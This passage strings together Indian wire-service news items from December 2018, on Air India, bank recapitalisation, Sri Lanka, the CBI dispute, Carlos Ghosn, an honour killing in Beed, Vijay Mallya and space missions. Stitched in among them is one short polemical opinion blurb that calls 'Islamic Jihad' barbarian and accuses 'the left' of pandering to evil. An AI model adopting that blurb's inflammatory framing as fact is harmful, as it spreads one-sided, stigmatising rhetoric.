videos" that affected Microsoft's hardware acceleration for videos, he added. A Mozilla Firefox programme manager also claimed recently that a separate YouTube redesign made the site "5x slower in Firefox and Edge." Earlier this month, Microsoft said it plans to adopt the Chromium open source project for the development of its Edge browser. --IANS na/in (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Ministry of Environment, Forest and Climate Change on Thursday launched the 'Asiatic Lion Conservation Project' with an aim to protect and conserve the world's last ranging free population of Asiatic Lion and its associated ecosystem. The decision came two days after three asiatic lions were run over by a goods train in Gir. "The Asiatic Lion Conservation Project will strengthen the ongoing measures for conservation and recovery of Asiatic Lion with the help of state-of-the-art techniques, regular scientific research studies, disease management, modern surveillance techniques," Union Minister Dr. Harsh Vardhan said at a review meeting. The minister said the total budget of the project for 3 years will be funded through a Centrally sponsored scheme, the Development of Wildlife Habitat, with the contributing ratio of 60:40 for central and state share. Asiatic Lions which once ranged from Persia (Iran) to Palamau in Eastern India had almost been driven to extinction by indiscriminate hunting and habitat loss. A single population of less than 50 lions persisted in the Gir forests of Gujarat by late 1890's. With stringent protection offered by the state and the Central governments, Asiatic lions have increased to the current population of over 500. The 2015 census showed a population of 523 Asiatic Lions in the Gir Protected Area Network of 1648.79 sq. km. --IANSA sd/prs (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Central government on Thursday sought Parliament's nod to infuse Rs 2,345 crore into the financially strained national carrier Air India under the airline's 'Turn Around Plan'. The amount is a part of second Supplementary Demands for Grants for 2018-19 for gross additional expenditure of Rs 85,948.86 crore which was presented to the Lok Sabha by Finance Minister Arun Jaitley. The demands, tabled by Jaitley, contain proposals involving a net cash outgo aggregate to Rs 15,069.49 crore and gross additional expenditure, matched by savings of the ministries and departments or by enhanced receipts and recoveries, aggregating Rs 70,882.21 crore. Additionally, the government has sought the Parliament's nod for providing Rs 1,300 'Grants-in-Aid General' to Air India Asset Holding (Special Purpose Vehicle). The development comes after the Central government had decided to transfer Air India's debt worth Rs 29,000 crore to the SPV. The decision was taken by an inter-ministerial panel -- Air India Specific Alternate Mechanism -- which has been formed to look after the divestment of the national carrier. The move was aimed to lessen the interest payment obligation of the airline on its total outstanding debt of over Rs 50,000 crore. In addition, the inter-ministerial panel had decided to divest the government's stake in Air India Air Transport Services Ltd (AIATSL). Last Month, Civil Aviation Secretary R.N. Choubey had said that the national carrier has commenced a "cost-cutting and revenue augmentation" plan to garner "financial benefits" of Rs 2,000 crore per annum. The cost cutting and revenue augmentation plan was recently implemented by the airline. Prior to the current move, the government had offered to sell 76 per cent stake in Air India. However, the state-owned carrier, which has accumulated losses of over Rs 48,000 crore, failed to attract any bidder. On May 31, the Ministry of Civil Aviation said that "no response" was received even during the extended submission deadline for the EOI bids under Air India's divestment process and the "further course of action will be decided appropriately".--IANS rv/prs (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The gravity of the existential threat we face from Islamic Jihad is truly of epic proportions. It is essentially a battle pitting free-civilized man against a totalitarian barbarian. What is at stake is the struggle for our very soul - namely who we are and what we represent. The lives that were sacrificed for individual rights and freedoms that we've come to cherish are being chiseled away from right under our noses by the stealth jihadists. And many of us are in denial and totally clueless. The left's appeasement and pandering to evil is nothing new. What makes their utopian delusions so infuriating and unpardonable is that it is not only they who will have to pay the consequences, and deservedly, so, they are thwarting and undermining our best efforts at resistance and are thus dragging us down in the process as well. By Peter Lancz,, the head of the Raoul Wallenberg World Campaign Against Racism. Finance Minister Arun Jaitley on Thursday said the government will infuse Rs 83,000 crore in public sector banks in the remaining part of the fiscal taking the total recapitalisation of banks during the year to Rs 1.06 lakh crore. "Today we have asked for the parliamentary sanction for (issuing) additional recapitalisation bonds of Rs 41,000 crore... As of today, of the Rs 65,000 crore recapitalisation plan for 2018-19, Rs 42,000 crore is still remaining. "Therefore, with this additional Rs 41,000 crore, we will now have Rs 83,000 crore for the balance year and that will make this year's recap to a total of Rs 1.06 lakh crore," Jaitley said after tabling the Supplementary Demands for Grants in the Lok Sabha. The second batch of Supplementary Demands for Grants for 2018-19 involving a gross spending of Rs 85,948.86 crore includes the package of Rs 41,000 crore for banks. It will not require any additional cash outgo as the capital infusion is planned through bonds. Jaitley said the distribution process for the Rs 83,000 crore capital infusion in state-run banks will be decided on the basis of performance of banks by the Department of Financial Services (DFS). About Rs 23,000 crore have already been infused this fiscal. Capital infusion will be done under four heads to help banks meet regulatory capital norms, help better performing banks under RBI's Prompt Corrective Action (PCA) to get out of it, facilitate non-PCA banks that are near the "red-line" and to strengthen amalgamated banks. Financial Services Secretary Rajeev Kumar said the capital infusion will help at least four of the total 11 PCA banks meet their regulatory capital norms. Overall strengthening of the banks will encourage lending and thereby economic growth of the country. "We have made provisions to give capital to 4-5 banks (in PCA) depending on performance and on the Q2 and Q3 results. The figures will be decided (later) but there are chances that we equip at least 3 to 5 banks to meet the norms," he said. As per the current regulatory norms, the PCA banks will have to achieve 9 per cent Capital to Risk-weighted Asset Ratio (CRAR), 1.875 per cent Capital Conservation Buffer and the 6 per cent net non-performing assets (NPA) threshold to come out of PCA and restart lending. "About the PCA banks, the performances we are looking at is the lower level and declining trend of net NPAs, whichever PCA bank has shown better performance in terms of reduction in NPAs and the improvements in return on assets. Name of these banks will be worked out." Kumar said there are three non-PCA banks that are near the threshold and in the danger of falling into the PCA category. These banks, including Punjab National Bank, will be provided capital to strengthen their base, he said. There are three to four banks namely State Bank of India, Bank of Baroda, Indian Bank and Vijaya Bank that have maintained regulatory capital even higher than the prescribed minimum and would not need any capital infusion. "The process of NPA recognition that started in 2015 is almost complete. The last quarter has showed improved performance. While recognition of NPAs peaked at 7 per cent in March 2015, it has now come down to 0.59 per cent as of September 2018," Jaitley said. The government had initiated a comprehensive clean-up of the banking system under its 4R's approach of recognition, resolution, recapitalisation and reforms. Since 2015-16 till end of this fiscal, the total capital infusion in public sector banks will be over Rs 3 lakh crore. "The NPAs recognition is complete, recapitalisation is in full swing, it has been enhanced further, recovery is also in full swing, the last H1 (April-September 2018) recovery is to the tune of Rs 60,726 crore," Kumar said. The trend is likely to continue as the creditor-debtor relationship has changed because of the Insolvency and Bankruptcy Code (IBC) and debarment of the connected parties, he said. "PSBs are showing tremendous improvement in terms of recognition, in terms of provisioning, recovery, reforms and therefore this is the time that we empower them and equip them with the capital so that the banks are ready to support the fastest growing economy," he added. --IANS mgu/prs (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Praising the "resilience" of Sri Lanka's democracy, UN Secretary-General Antonio Guterres has welcomed the resolution of the island nation's political crisis in a peaceful and constitutional manner, according to his spokesperson. "The Secretary-General calls on all political actors to seize the opportunity of the appointment of the new cabinet to resolve outstanding political differences in the same spirit of respect for democracy and in the interest of the people of Sri Lanka," Guterres' Spokesperson Stephane Dujarric told reporters on Thursday. Sri Lankan President Maithripala Sirisena has reinstated Ranil Wickremesinghe as Prime Minister following a Supreme Court ruling against his decision to dissolve parliament and hold early elections. Sirisena appointed a 30-member cabinet on Thursday, while keeping control of the police. Sri Lanka's political crisis was sparked on October 26 when Sirisena dismissed Wickremesinghe and appointed former President Mahinda Rajapaksa as prime minister. Rajapaksa, who had presided over a brutal end to the nation's civil war, was unable to get a majority in parliament, which passed two votes of non-confidence against him. (Arul Louis can be reached at arul.l@ians.in and followed on Twitter @arulouis) --IANS al/pgh/ (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Hague, Dec 21 (IANS/AKI) An arbitration tribunal in The Hague will decide in July if Italy or India will try two Italian marines accused of killing two fishermen off southern India in February 2012 in a long-running case that has strained bilateral ties. The Hague tribunal hearing will take place from July 8-20 and the judges must give a ruling within six months. The two marines, Massimiliano Latorre and Salvatore Girone, who were guarding an Italian oil tanker at the time of the fatal February 15, 2012 shootings, allege they mistook the two fishermen for pirates. Girone and Latorre have not been charged over the killings. Italy claims the incident took place in international waters and sought international arbitration in 2015. Both marines were allowed to return to Italy after the Hamburg-based International Tribunal for the Law of the Sea in August 2015 referred the case to the International Court of Justice in The Hague. The marines have been allowed to stay in Italy pending the Hague court ruling. --IANS/AKI pgh/ (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Delhi High Court on Thursday reserved order on Special CBI Director Rakesh Asthana's plea seeking quashing of the First Information Report (FIR) against him. Justice Najmi Waziri was hearing Asthana and suspended Deputy Superintendent of Police (DSP) Devender Kumar's pleas seeking quashing of FIRs against them, saying the cases were registered against them in an illegal manner with mala fide intention. CBI Director Alok Verma's counsel has justified the agency's action against Asthana saying the registration of the FIR was in compliance of all existing laws, regulations and made after following due procedure. According to the CBI, Kumar fabricated the statement of Sana Sathish Babu, a witness in the businessman Moin Qureshi case, showing he recorded the statement on September 26 in Delhi. However, investigation revealed that Sana was not in Delhi on that day. He was in Hyderabad and joined the investigation only on October 1. The CBI has registered an FIR against Asthana, Kumar and two others, alleging that they took bribes at least five times between December 2017 and October 2018. Asthana, a 1984 batch IPS officer of the Gujarat cadre, is accused of accepting a bribe of Rs 2 crore from a businessman who was being probed in the Qureshi case to "wreck" the investigation. The case was being examined by a special investigation team headed by Asthana. On October 24, Alok Verma was divested of his charge and Joint Director M. Nageshwar Rao was made the interim Director. Asthana was also divested of all his supervisory responsibilities. The government took the decision after Verma and Asthana accused each other of taking bribes. --IANS akk/mr (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) James Wan has been fighting against labels for long and is not afraid to challenge himself to defy perceptions. The filmmaker says he hates being stereotyped, and doesn't need any label to define his craft. "I hate being labelled. I hate being stereotyped into whatever pigeonhole people like to put me into," Wan told IANS in an exclusive interview here. "So every time people start to (do that), I start moving on. When they labelled me with too much of this work, I went to something else. I keep doing it because, at the end of the day, I just see myself as a filmmaker. I don't think there needs to be another label in front of the 'filmmaker' label," added Wan while promoting his latest film "Aquaman" here. He decided to expand his horizon when he got the tag of "horror movie maestro" after "Saw", "Insidious", "The Conjuring" and "Death Sentence". The Malaysia-born filmmaker took a break from the paranormal realm for the bigger world of "Furious 7" -- part of the "Fast and Furious" franchise. "I can grow as a filmmaker by trying new things, finding stuff that challenges me and kind of continue expanding my horizons," said Wan, who grew up in Australia. At present, Wan is getting plaudits for adding his touch to the fantastical story of Warner Bros project "Aquaman", which released in India on December 14. Taking a character from the DC Extended Universe, "Aquaman" traces the origins of how half-human, half-Atlantean Arthur Curry (Jason Momoa) embraces his identity as the superhero. Along with a heart-warming tale of family and love, the film also focuses on a relevant message -- marine pollution. Looking back at the process of making the film, he said: "There is always some kind of pressure when you are making big films... Films of this level, size and scope... But it was a really smooth process." "Aquaman" might be a tale of a superhero finding his roots and identity, but it is also rooted in reality as Wan brings attention to the growing pollution in the ocean. "It was something which was important for me from early on because I felt he was, for the first time, a superhero that can actually talk about the environment and the environment is such a big real life issue," the director said while explaining how he entwined the message into the story. "It is only getting worse, as we see climate change affecting all of us. So it just naturally and organically became a part of the story." But the cool thing, as Wan put, was that he got to portray it from the point of view of the villain King Orm, essayed by Patrick Wilson. "You kind of understand why King Orm is angry at us for what we do at the surface and I think it gives it more texture." How will the story go forward? "I don't know. That is a question for the audience." (Sugandha Rawal was in Manila on the invitation of Warner Bros. Pictures. She can be contacted at sugandha.r@ians.in) --IANS sug/rb/vm/sac (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) India on Thursday described Pakistan Prime Minister Imran Khan's remarks on civilians' deaths during violence in Jammu and Kashmir last week as expressions of "insincerity and duplicity." "The statements coming out from their side demonstrate their insincerity and duplicity," said External Affairs Ministry spokesperson Raveesh Kumar. Following the death of seven civilians during clashes with security forces in Jammu and Kashmir's Pulwama district on Saturday, Khan tweeted the next day: "Strongly condemn killing of innocent Kashmiri civilians in Pulwama IOK by Indian security forces. Only dialogue & not violence & killings will resolve this conflict. We will raise issue of India's human rights violations in IOK & demand UNSC fulfil its J&K plebiscite commitment." In his briefing, Kumar reiterated India's demand that Pakistan stop allowing its territory to be used by terror groups and terrorists and exporting terrorism to other countries. "No action is being taken on that," he said. "On the other hand, they have sometimes the gumption to comment on the internal affairs of a neighbouring country. I think it will be better if their mind their own business and look at their internal affairs which are in a mess," the spokesman said. --IANS ab/prs (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) India on Thursday announced it would further relax visa norms for Chinese nationals by extending e-visa facility to those who visit the country for attending conferences or as medical attendants. The announcement came on the eve of Chinese Foreign Minister Wang Yi's four-day visit to India to attend the first ever India-China people-to-people exchange forum. Wang will co-chair the meet with his Indian counterpart Sushma Swaraj in New Delhi. Chinese nationals travelling to India for attending conferences, seminars and workshops by the Indian government will be issued Conference Visa. The required documents included a scanned bio-page of passport showing the photograph and details, an invitation from the organisation and political clearance from the Ministry of External Affairs, said the statement from the Indian Embassy in Beijing. The e-Medical Attendant Visa will be issued for those who wish to travel as attendant to e-Medical visa holder. The e-visa facility is now available for Tourist Visa, e-Business Visa, e-Medical Visa, e-Medical Attendant Visa and e-Conference Visa, the Embassy said. India wants more and more Chinese tourists who currently generate some 21 per cent of tourism receipts in destinations in the world. Despite a swelling number of outbound Chinese tourists, India receives only a very small fraction of them. While visiting China in August, India's Tourism Minister K.J. Alphons had said that of the 144 million Chinese visiting abroad as tourists, only 300,000 came to India. He said India plans to get at least 14 million Chinese tourists in the next three years. --IANS gsh/soni/sed (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) India and Russia have reiterated their support for an Afghan-led, Afghan-owned peace process in Afghanistan during the visit of Russian President Vladimir Putin's special envoy on Afghanistan Zamil Kabulov to India, a senior official said on Thursday. At a media briefing here, External Affairs Ministry spokesperson Raveesh Kumar said that during the course of Kabulov's visit, delegation-level talks were held in which the Indian side was led by Deepak Mittal, Joint Secretary (Pakistan, Afghanistan, Iran) in the External Affairs Ministry. Following the talks, Kabulov also held a meeting with Foreign Secretary Vijay Gokhale. "Both sides reiterated their support for an Afghan-led and Afghan-owned inclusive peace and reconciliation process," Kumar said. "The Russian side, on their part, briefed on the efforts to support the Afghan peace process through the Moscow Format of talks," he said. The Moscow Format was introduced in 2017 on the basis of the six-party mechanism for consultations between special representatives from Russia, India, Afghanistan, China, Pakistan and Iran. Kumar said both sides also agreed to maintain regular consultation and coordination, including in the context of international forums with the shared objective to promote peace, security, stability and unity of Afghanistan. --IANS ab/prs (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Union Home Minister Rajnath Singh on Thursday said the internal security situation in the country has vastly improved, particularly in the North-East and the Left Wing Extremist (LWE) affected states. Saying that security scenario in the North-East region has witnessed "steady improvement" in recent years, the Minister said all parameters of violence have improved in 2018 in comparison to corresponding period of 2017. "There is 17 per cent decline in total incidents and 38 per cent reduction in the casualties of civilians," Singh said while addressing on the inaugural session of the conference of Director Generals and Inspector Generals of Police at Kevadia. He said India's security concerns have been conveyed to Myanmar even as efforts are on to harness the trade potential with the eastern neighbour and beyond. "A number of our militant groups are operating from the territories of neighbouring countries, particularly Myanmar. Our concerns have been highlighted in the bilateral meetings with these countries. In order to plug the gaps on the Indo-Myanmar border, an Inter-Ministerial Committee headed by MHA has formulated a revised protocol for effective implementation of Free Movement Regime." Rajnath Singh said violence in the LWE-affected areas continues to improve since the last eight years and major operational successes was witnessed in core Maoist areas in Chhattisgarh, Jharkhand and Odisha which resulted almost two-fold increase in the losses suffered by LWEs this year. "After a comprehensive review the number of districts covered under SRE (Security Related Expenditure) scheme were reduced from 126 to 90." Referring to the communal situation, the Minister said it remained under control this year with a decrease of 12 per cent in communal incidents as compared to the corresponding period in 2017. "Misuse of social media for religious denigration also witnessed a significant decline during this year," he added. Singh said terrorism in the hinterland has also been stamped out. "Law enforcement agencies, through concerted action coordinated by Intelligence Bureau, have managed to overcome the first tide of propaganda and mobilization by Islamic State in Iraq and Syria. Consequently, India witnessed very few incidents of Islamic State inspired violence. In concerted counter-terrorism operations, law enforcement agencies have arrested nearly 125 terrorist suspects as against 117 arrested in 2017," said the Minister. "The new phase of Islamic State propaganda emanating from Afghanistan-Pakistan region is also being countered effectively." Singh said the security situation in Jammu and Kashmir continues to be vitiated even though the stone pelting incidents have declined and that the attempts by militants to infiltrate, making attacks intermittently and doing recruitments locally continue. "Terror infrastructure in Pakistan and PoK (Pakistan occupied Kashmir) remains in the form of training camps, launching pads and communication control stations. The separatists also exploit every possible situation to agitate the people to fan further anti-India sentiments which leads to law and order situation." He directed the security establishment to check efforts to revive terrorism in Punjab. "Pakistan continues to abet terrorism. During January 1, 2017 to November 29, 2018, 17 ISI (Inter-Services Intelligence) backed espionage modules have been neutralized in the country resulting in the arrest of 25 espionage agents which include two Pakistanis," he said. --IANS rak/prs (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Mumbai Indians on Thursday completed the transfer of experienced all-rounder Jayant Yadav into their fold from Delhi Capitals. The India discard is the second addition to Mumbai Indians through the transfer process, with South African wicketkeeper-bat Quinton de Kock being the first from Royal Challengers Bangalore (RCB) earlier. Mumbai Indians owner Akash Ambani expressed satisfaction over the transfer and feels 'the squad is complete with the right balance in all aspects'. "We were delighted to bring in Quinton in the pre auction transfer window. His multi-tasking abilities and recent exploits with the bat including player of the tournament performance at the recently concluded Mzansi Super League in South Africa has been a delight to watch and am sure he will carry the current form into the IPL season as well." On Jayant's inclusion, Akash said: "I am delighted Jayant is now an @mipaltan. His experience and skills with both the bat and ball adds to the MI squad tremendously and I am happy to have him join us within a few days after our successful auction." --IANS tri/bg (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Nissan Motor Co.'s former Chairman Carlos Ghosn moved closer to being released on bail after a Japanese court on Thursday rejected a request by prosecutors to extend his detention. Ghosn's arrest in Tokyo last month on allegations of financial misconduct rocked the global car industry and put strains on the alliance he presided over between Nissan and Renault. He remained in jail on Thursday as prosecutors filed an appeal of the Tokyo District Court's decision. If that appeal is also turned down, the top auto executive's lawyer will seek bail, Efe news cited a person familiar with Ghosn's defence as saying. Ghosn was indicted on December 10 on charges of underreporting his income on Nissan's financial statements over a five-year period that ended on March 2015. Prosecutors cited additional suspicions that he underreported his income for the three years that ended on March 2018. On Thursday, they sought to hold Ghosn for 10 more days without the possibility of bail on the basis of those additional suspicions, but in a surprise move, the Tokyo court rejected the request. The court also denied a request from prosecutors to extend the detention of Greg Kelly, a former Nissan Director accused of helping Ghosn under-report his compensation. A Nissan spokesman declined to comment on the court's decision, saying the pair's detention was a matter for prosecutors. After his arrest, Ghosn was stripped of his role as chairman at Nissan and Mitsubishi Motors, while Renault appointed interim management but kept Ghosn on the payroll. "It's quite rare for a court to reject a request to extend detention by the special investigative division of prosecutors that is handling this case," said Yoji Ochiai, a lawyer and former prosecutor. "I was a prosecutor for a long time and never heard of such a decision," he said, adding that the court may have been swayed by criticism from abroad regarding Ghosn's lengthy detention. Ghosn maintains his innocence, according to the person familiar with his legal defence. His Japanese lawyer, Motonari Otsuru, couldn't be reached for comment. The wife of Ghosn's alleged accomplice Greg Kelly expressed concern for her husband's medical condition in a video statement sent to the Wall Street Journal. Kelly has been diagnosed with a spinal ailment called spinal stenosis, which requires surgery to fix. "Kelly experiences numbness and shooting pains in his extremities and his symptoms have worsened since his detention," said his wife, adding that the symptoms could become permanent if he doesn't have the surgery within two months. The Tokyo prosecutors office, however, said that Kelly was receiving proper care in detention. --IANS soni/sed (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Journalist bodies on Thursday condemned the arrest and 12 months detention of Manipuri journalist Kishorechand Wangkhem and demanded that the charges levelled against him under the National Security Act (NSA) be dropped. He was booked for allegedly criticizing Manipur Chief Minister N. Biren Singh and Prime Minister Narendra Modi. "We, the undersigned journalist organisations express deep concern at the twelve month detention of Kishorechand Wangkhem, under the National Security Act," said a statement jointly issued by Indian Women's Press Corps, Press Club of India, Press Association and Federation of Press Clubs in India. "We demand that the harsh provisions under which Wangkhem has been booked be dropped in the interests of justice and the right to freedom of speech and expression." Wangkhem, 39, who is employed as an anchor-reporter with a news channel ISTV, was arrested on November 21 by Manipur Police for uploading a video where he reportedly criticized the Prime Minister and called N. Biren Singh as a "puppet of the Centre", following which, the state government cracked down on him with a heavy hand. He was booked for sedition and later released following a magisterial order that did not find anything seditious in his remarks, only to be booked again under the NSA, alleged the journalist body statement. The magistrate in his release order said "his statements do not seem as an attempt to disturb peace... it was a mere expression of opinion against the Prime Minister and the Chief Minister of Manipur which cannot be equated with an attack to invite people to violence against the Government of India or Manipur to topple it... ", said the statement. The statement added that the preventive detention under the NSA for twelve months even after the court did not find anything seditious in Wangkhem's remarks is totally uncalled for and deserves condemnation. "There are judicial pronouncements on what may constitute seditious language and action. To book individuals under non-bailable and harsh laws for using allegedly intemperate language to criticize government's decisions or individuals in government, is a measure of governmental overreach apart from being a violation of the fundamental right to free speech," said the statement. NSA is a law that allows the government to put those people it suspects to be a threat to public order under extended periods of preventive detention. --IANS rak/mag/sed (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A ship equipped with sophisticated technology resumed search for the cockpit voice recorder and the remains of victims who were aboard a Lion Air plane that crashed last month in Indonesia, officials said here on Thursday. At least 189 people, including the flight's Indian captain, Bhavye Suneja, were killed when the 737 Max 8 aircraft crashed into the Java Sea after taking off from Jakarta on October 29. Divers had earlier retrieved the flight data recorder of the plane from the sea floor of Tanjung Karawang water off West Java province. The recovery of the missing cockpit voice recorder is essential for determining what caused the crash, said investigators from Indonesia's National Transportation Safety Committee. An MPV Everest ship operated by a Dutch firm, hired by Lion Air, kicked off the search on Thursday morning, said Haryo Satmiko, Deputy Chairman of the Committee. "The MPV Everest arrived at the crash site on Wednesday night and resumed search this morning," he said. The mission is undertaken round the clock and will continue for 10 days. If the mission fails in finding the cockpit voice recorder, a further evaluation will be carried out, Satmiko added. The fuselage of the aircraft and the remains of 64 victims which have not been recovered would also be the targets of the mission. The resumption was financed by Lion Air which has spent a 38 billion rupiah ($2.6 million) to pay the Dutch company following the request of the family members to continue search for the remains of their loved ones. The preliminary report of the crash gleaned data from the flight data recorder unveiled that the pilots struggled to control the flight's anti-stalling system just before the plane plunged into the water. --IANS soni/sed (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Consumer Protection Bill 2018 was passed by the Lok Sabha on Thursday amid slogan shouting by the Opposition. Moving the Bill for its passage, Union Minister for Consumer Affairs Ramvilas Paswan said the Bill was non-controversial and was in the interest of the consumers. He said the Bill, which seeks to establish authorities for timely and effective administration and settlement of consumers' disputes, is above partisan The Minister said that a penalty provision has been incorporated in the Bill, but does not envisage jail terms. The Bill was passed after an hour-long discussion in which 11 members from different political parties participated and presented their views. The Bill was introduced in January during the last Winter Session of Parliament. It seeks to replace the three-decade-old Consumer Protection Act, 1986 and seeks to set up a Central Consumer Protection Authority (CCPA) to "promote, protect and enforce the rights of the consumers". Participating in the debate, Trinamool Congress' (TMC) Pratima Mandal demanded that celebrities be restrained from endorsing any product. "The celebrities or endorsers may also not be able to understand the scientific compositions of the food products and the science behind the claims. Therefore, to deal with the situations like these it may be a better option to ban celebrity endorsement completely," she said. The Bill also seeks to provide Consumer Disputes Redressal Commissions at national, state and district levels to look into consumer complaints. She said the Bill empowers the Central government to appoint members to this commission but does not specify that the commission should have a judicial member. "If the commission was to have members only from the executive, the principal of separation of powers may be violated. The Bill confers power on the Central government to appoint and remove members and provide conditions of service for members of the district, state and National Consumer Disputes Redressal Commission," she said. Biju Janata Dal's (BJD) Tathagat Satpathy said that power to appoint members into the commission at the district and state levels lies with Central government which will be an attack on the fundamental structure. Consumer Protection Councils will also be set up at the district, State, and national level, as advisory bodies. Consumer mediation cells will be set up on the same lines. --IANS bns/mag/sed (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Muslim Women (Protection of Rights on Marriage) Bill, 2018, commonly known as triple talaq bill, will be discussed in the Lok Sabha on December 27. The Bill -- which is aimed to protect the rights of married Muslim women and prohibit divorce by pronouncing talaq by their husbands -- that was part of Thursday's legislative business was postponed by Lok Sabha Speaker Sumitra Mahajan following request of Congress MP Mallikarjun Kharge. Soon after Mahajan asked Revolutionary Socialist Party (RSP) MP N.K. Premchandran to speak over the Bill, which was listed for the legislative business for consideration and passage, Kharge stood and requested her to defer the discussion to December 27. Calling it a very important Bill, Kharge said: "The opposition wants a healthy discussion over the Bill. I request you to defer the debate on the Bill to December 27." Assuring that the opposition will peacefully debate over the Bill on the date he requested for, Kharge also sought enough time for discussion over the matter. Union Law Minister Ravi Shankar Prasad, who was to move the Bill on Thursday, also sought Kharge's assurance for a "peaceful" debate over the Bill on December 27. With voice vote, Mahajan gave her nod to defer the discussion on the Bill. --IANS bns-rak/nir (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Enraged over their love marriage, a man killed his sister's husband on a busy main road in this Maharashtra town, shocking bystanders, police said on Thursday. An official from Beed Police, identified as Udavant, said the incident occurred on Wednesday evening around 5 p.m. outside the Aditya Engineering College in Telgaon area. In view of the tense atmosphere, the police have deployed heavy security in different parts of Beed - the hometown of Maharashtra Women and Child Welfare Minister Pankaja Munde. On Wednesday evening, the young couple, Sumit Shivaji Waghare and his wife Bhagyashree, had just walked out of the college after appearing for their examinations. Suddenly they were accosted by Bhagyashree's brother Balaji Lande and a friend. Before the couple could make out what was happening, Lande and his friend allegedly whipped out sharp weapons and attacked Waghmare several times, felling him in a pool of blood. They fled from the scene in a car parked nearby. They are absconding since then, said a Beed Police Control official. As Bhagyashree screamed for help, a large crowd gathered. While many shot videos on their mobiles, some autorickshaw drivers helped shift the victim to a hospital where he succumbed owing to serious injuries and heavy blood loss. "What was my crime? That I married the person I loved and who was my college mate? If the police don't nab him soon, I shall end my life," a weeping Bhagyashree told journalists. The victim, hailing from Talkhed village, around 60 km from Beed, fell in love with Bhagyashree when they were in college but the Lande family was strongly opposed to the alliance. Almost two months ago, they decided to get married against the wishes of both families and lived with a relative of the victim. Bhagyashree said they had received several threats to their lives and even complained to the police but no case was lodged nor action taken against her brother and others. While locals claimed the complaints were ignored owing to political pressures, the Beed police have launched a manhunt to nab the killers. On Thursday morning, the Lande and Waghmare families along with more than 200 people laid siege at the office of District Superintendent of Police Sreedhar Govindarajan demanding action against the culprits. Waghmare's family said they would not collect their's son's body till the killers were nabbed while his wife Bhagyashree threatened to commit suicide. --IANS qn/mr (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) After a court in Britain ordered the extradition of Indian industrialist Vijay Mallya to stand trial on charges of committing a Rs 9,000-crore bank loan fraud, the Indian High Commission in London is in touch with British authorities, with the case now in the hands of British Home Secretary, a senior official said on Thursday. "I would like to say that our mission in London is in active touch with UK authorities on this issue," External Affairs Ministry spokesperson Raveesh Kumar said in response to a question at a media briefing here. On December 10, the Westminster Magistrates' Court in London gave its decision recommending the extradition of Mallya. "After that (court's order), the case goes to Secretary of State for Home who has two months to formally order his extradition," Kumar explained. "At the same time, Mallya has two weeks to appeal against the order," he said, adding now one has to wait and see what happens. Mallya fled India in March 2016 over a Rs 9,000-crore bank loan fraud, but he has repeatedly denied fleeing the country and said he was ready to pay back the money he owed to Indian banks. Regarding absconding diamantaires Nirav Modi and Mehul Choksi, both wanted in the Rs 13,500-crore Punjab National Bank fraud case, Kumar said India was following up on the extradition requests submitted to the British and Antigua & Barbuda authorities. The spokesperson added that Modi's case is under the consideration of the British Home Secretary before this can be sent to court for a decision. --IANS ab/nir (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Even as the debate heats up on whether we need a "backup" planet, as advocated by tech billionaire and SpaceX CEO Elon Musk, the resolve to take humans to Mars got stronger in 2018. Musk told the media in November that there is "70 per cent chance that he will go to Mars", despite a "good chance" of him not surviving either on the way or after landing. It is only very likely that only a few people might be willing to join Musk in this journey - either because of the risk or the cost involved. But his "Starship" (formerly known as the BFR), a fully reusable vehicle designed to take humans and supplies to Mars and also to dramatically cut travel time within Earth, got its first reservation from a private passenger this year -- Japanese billionaire Yusaku Maezawa -- who is scheduled to start a journey to the Moon in 2023. This year, the US space agency NASA also firmed up its plans to return humans to the Moon and use its lunar experience to prepare to send astronauts to Mars in the 2030s. In February, NASA hosted a conference for scientists to discuss future exploration and research using the Gateway spacecraft that will orbit the Moon and support human and robotic missions. In the following months, the space agency announced several measures to take the mission forward. "We created new US commercial partnerships to land back on the Moon. We made breakthroughs in our quest to send humans farther into space than ever before," NASA Administrator Jim Bridenstine said in a statement. Boosting such ambition this year was a demonstration of a new nuclear reactor power system that could provide surface power on the Moon and Mars. What excited the scientists even more was the discovery of a large saltwater lake under the ice near the South Pole on the Red Planet - raising the possibility of life being there on Mars in some form. The discovery by a team of Italian researchers was made using an instrument on the European Space Agency's Mars Express spacecraft. While a manned-mission to Mars is still at least a decade away, NASA successfully launched this year a probe to "touch the Sun". The mission broke records for fastest human-made object and closest approach to the Sun, and sent home its first light images - including a picture of Earth - in late October, NASA said, adding that the probe's first flight through the Sun's outer atmosphere was on November 7. In 2018, NASA's first asteroid sample return mission reached its destination after a two-year journey. The Origins, Spectral Interpretation, Resource Identification, Security-Regolith Explorer (OSIRIS-REx) spacecraft arrived at asteroid Bennu on December 3. Analysis of initial data from the mission revealed water locked inside the clay that makes up Bennu. This year also marked only the second time in history that a human-made object reached the space between the stars as NASA's Voyager 2 probe exited the heliosphere -- the protective bubble of particles and magnetic fields created by the Sun. The year also bid farewell to two veteran scientific spacecraft - one of them NASA's Kepler space telescope that ran out of fuel after nine years of searching for planets outside our solar system. NASA, however, now has a probe to take forward Kepler's job. The Transiting Exoplanet Survey Satellite (TESS), launched in April, is continuing the search for planets outside our solar system. NASA said its Dawn mission, which was launched in 2007, also ran out of fuel this year, but not before becoming the first spacecraft to orbit two separate bodies in the solar system - the asteroid Vesta and dwarf planet Ceres. The year also brought relief to space enthusiasts as Russian Cosmonaut Alexey Ovchinin and US astronaut Nick Hague escaped unhurt after their Soyuz spacecraft heading to the International Space Station (ISS) had to make 